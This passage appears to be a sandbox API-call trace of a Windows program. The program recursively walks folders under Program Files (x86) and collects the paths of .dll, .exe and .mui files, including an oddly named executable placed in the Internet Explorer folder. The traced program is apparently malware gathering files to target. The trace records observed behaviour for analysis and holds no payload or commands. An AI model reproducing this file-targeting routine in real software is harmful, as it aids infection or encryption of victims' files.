lpFindFileData=0x3bf034) returned 1 [0031.541] lstrcmpW (lpString1="System", lpString2=".") returned 1 [0031.541] lstrcmpW (lpString1="System", lpString2="..") returned 1 [0031.541] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0031.541] lstrlenW (lpString="System") returned 6 [0031.541] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="System" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System") returned="c:\\Program Files (x86)\\Common Files\\System" [0031.541] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\") returned="c:\\Program Files (x86)\\Common Files\\System\\" [0031.541] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0031.541] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\*") returned="c:\\Program Files (x86)\\Common Files\\System\\*" [0031.541] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\System\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.541] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.541] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.541] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.541] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.541] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.541] lstrcmpW (lpString1="ado", lpString2=".") returned 1 [0031.541] lstrcmpW (lpString1="ado", lpString2="..") returned 1 [0031.541] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0031.541] lstrlenW (lpString="ado") returned 3 [0031.541] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="ado" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\ado") returned="c:\\Program Files (x86)\\Common Files\\System\\ado" [0031.541] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.541] lstrcmpW (lpString1="DirectDB.dll", lpString2=".") returned 1 [0031.541] lstrcmpW (lpString1="DirectDB.dll", lpString2="..") returned 1 [0031.541] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0031.541] lstrlenW (lpString="DirectDB.dll") returned 12 [0031.541] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="DirectDB.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" [0031.541] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned 55 [0031.541] lstrcpyW (in: lpString1=0x25e02b8, lpString2="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" [0031.541] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.541] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0031.541] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0031.541] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0031.541] lstrlenW (lpString="en-US") returned 5 [0031.541] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\en-US") returned="c:\\Program Files (x86)\\Common Files\\System\\en-US" [0031.541] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.541] lstrcmpW (lpString1="msadc", lpString2=".") returned 1 [0031.541] lstrcmpW (lpString1="msadc", lpString2="..") returned 1 [0031.541] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0031.541] lstrlenW (lpString="msadc") returned 5 [0031.541] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="msadc" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\msadc") returned="c:\\Program Files (x86)\\Common Files\\System\\msadc" [0031.541] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.541] lstrcmpW (lpString1="Ole DB", lpString2=".") returned 1 [0031.541] lstrcmpW (lpString1="Ole DB", lpString2="..") returned 1 [0031.541] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0031.541] lstrlenW (lpString="Ole DB") returned 6 [0031.541] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="Ole DB" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\Ole DB") returned="c:\\Program Files (x86)\\Common Files\\System\\Ole DB" [0031.542] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.542] lstrcmpW (lpString1="wab32.dll", lpString2=".") returned 1 [0031.542] lstrcmpW (lpString1="wab32.dll", lpString2="..") returned 1 [0031.542] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0031.542] lstrlenW (lpString="wab32.dll") returned 9 [0031.542] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="wab32.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" [0031.542] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned 52 [0031.542] lstrcpyW (in: lpString1=0x25e0330, lpString2="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" [0031.542] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.542] lstrcmpW (lpString1="wab32res.dll", lpString2=".") returned 1 [0031.542] lstrcmpW (lpString1="wab32res.dll", lpString2="..") returned 1 [0031.542] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0031.542] lstrlenW (lpString="wab32res.dll") returned 12 [0031.542] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="wab32res.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" [0031.542] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned 55 [0031.542] lstrcpyW (in: lpString1=0x25e03a8, lpString2="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" [0031.542] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.542] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.542] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.542] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.542] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.542] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0031.542] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0031.542] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.542] lstrlenW (lpString="desktop.ini") returned 11 [0031.542] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="desktop.ini" | out: lpString1="c:\\Program Files (x86)\\desktop.ini") returned="c:\\Program Files (x86)\\desktop.ini" [0031.542] lstrlenW (lpString="c:\\Program Files (x86)\\desktop.ini") returned 34 [0031.542] lstrcpyW (in: lpString1=0x12f930, lpString2="c:\\Program Files (x86)\\desktop.ini" | out: lpString1="c:\\Program Files (x86)\\desktop.ini") returned="c:\\Program Files (x86)\\desktop.ini" [0031.542] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.542] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0031.542] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0031.542] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.542] lstrlenW (lpString="Google") returned 6 [0031.542] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Google" | out: lpString1="c:\\Program Files (x86)\\Google") returned="c:\\Program Files (x86)\\Google" [0031.542] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\") returned="c:\\Program Files (x86)\\Google\\" [0031.542] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0031.542] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\*") returned="c:\\Program Files (x86)\\Google\\*" [0031.542] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.542] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.542] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.542] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.542] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.542] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.542] lstrcmpW (lpString1="Chrome", lpString2=".") returned 1 [0031.542] lstrcmpW (lpString1="Chrome", lpString2="..") returned 1 [0031.542] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0031.543] lstrlenW (lpString="Chrome") returned 6 [0031.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="Chrome" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome") returned="c:\\Program Files (x86)\\Google\\Chrome" [0031.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\") returned="c:\\Program Files (x86)\\Google\\Chrome\\" [0031.543] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\Chrome\\") returned 37 [0031.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\*") returned="c:\\Program Files (x86)\\Google\\Chrome\\*" [0031.543] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.543] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.543] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.543] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.543] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.543] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.543] lstrcmpW (lpString1="Application", lpString2=".") returned 1 [0031.543] lstrcmpW (lpString1="Application", lpString2="..") returned 1 [0031.543] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\Chrome\\") returned 37 [0031.543] lstrlenW (lpString="Application") returned 11 [0031.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\", lpString2="Application" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\Application") returned="c:\\Program Files (x86)\\Google\\Chrome\\Application" [0031.543] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.543] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.543] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.543] lstrcmpW (lpString1="CrashReports", lpString2=".") returned 1 [0031.543] lstrcmpW (lpString1="CrashReports", lpString2="..") returned 1 [0031.543] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0031.543] lstrlenW (lpString="CrashReports") returned 12 [0031.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="CrashReports" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports") returned="c:\\Program Files (x86)\\Google\\CrashReports" [0031.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\CrashReports", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\") returned="c:\\Program Files (x86)\\Google\\CrashReports\\" [0031.543] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\CrashReports\\") returned 43 [0031.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\*") returned="c:\\Program Files (x86)\\Google\\CrashReports\\*" [0031.543] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0xffffffff [0031.543] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.543] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.543] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.543] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0031.543] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0031.543] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.543] lstrlenW (lpString="Internet Explorer") returned 17 [0031.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Internet Explorer" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer") returned="c:\\Program Files (x86)\\Internet Explorer" [0031.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\") returned="c:\\Program Files (x86)\\Internet Explorer\\" [0031.543] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.543] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\*" [0031.543] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.544] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.544] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.544] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.544] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.544] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.544] lstrcmpW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2=".") returned 1 [0031.544] lstrcmpW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2="..") returned 1 [0031.544] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.544] lstrlenW (lpString="efforts-extreme-quantity-reproductive.exe") returned 41 [0031.544] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="efforts-extreme-quantity-reproductive.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" [0031.544] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned 82 [0031.544] lstrcpyW (in: lpString1=0x12f980, lpString2="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" [0031.544] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.544] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0031.544] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0031.544] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0031.544] lstrlenW (lpString="en-US") returned 5 [0031.544] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US" [0031.544] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\" [0031.544] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0031.544] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*" [0031.544] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.544] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.544] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.544] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.544] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.544] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.544] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2=".") returned 1 [0031.544] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2="..") returned 1 [0031.544] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0031.544] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0031.544] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="hmmapi.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" [0031.544] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 61 [0031.544] lstrcpyW (in: lpString1=0x12fa30, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" [0031.544] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.545] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2=".") returned 1 [0031.545] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2="..") returned 1 [0031.545] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0031.545] lstrlenW (lpString="iedvtool.dll.mui") returned 16 [0031.545] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="iedvtool.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" [0031.545] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned 63 [0031.545] lstrcpyW (in: lpString1=0x12fab8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" [0031.545] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.545] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2=".") returned 1 [0031.545] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2="..") returned 1 [0031.545] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0031.545] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0031.545] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="ieinstal.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" [0031.545] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 63 [0031.545] lstrcpyW (in: lpString1=0x12fb40, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" [0031.545] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.545] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2=".") returned 1 [0031.545] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2="..") returned 1 [0031.545] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0031.545] lstrlenW (lpString="ielowutil.exe.mui") returned 17 [0031.545] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="ielowutil.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" [0031.545] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned 64 [0031.545] lstrcpyW (in: lpString1=0x12fbc8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" [0031.545] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.545] lstrcmpW (lpString1="iexplore.exe.mui", lpString2=".") returned 1 [0031.545] lstrcmpW (lpString1="iexplore.exe.mui", lpString2="..") returned 1 [0031.545] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0031.545] lstrlenW (lpString="iexplore.exe.mui") returned 16 [0031.545] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="iexplore.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" [0031.545] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 63 [0031.545] lstrcpyW (in: lpString1=0x12fc58, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" [0031.545] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.545] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2=".") returned 1 [0031.545] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2="..") returned 1 [0031.545] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0031.545] lstrlenW (lpString="jsdbgui.dll.mui") returned 15 [0031.545] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsdbgui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" [0031.546] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned 62 [0031.546] lstrcpyW (in: lpString1=0x12fce0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" [0031.546] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.546] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2=".") returned 1 [0031.546] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2="..") returned 1 [0031.546] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0031.546] lstrlenW (lpString="jsdebuggeride.dll.mui") returned 21 [0031.546] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsdebuggeride.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" [0031.546] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned 68 [0031.546] lstrcpyW (in: lpString1=0x12fd68, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" [0031.546] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.546] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2=".") returned 1 [0031.546] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2="..") returned 1 [0031.546] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0031.546] lstrlenW (lpString="JSProfilerCore.dll.mui") returned 22 [0031.546] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="JSProfilerCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" [0031.546] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned 69 [0031.546] lstrcpyW (in: lpString1=0x12fe00, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" [0031.546] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.546] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2=".") returned 1 [0031.546] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2="..") returned 1 [0031.546] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0031.546] lstrlenW (lpString="jsprofilerui.dll.mui") returned 20 [0031.546] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsprofilerui.dll.mui" | out: 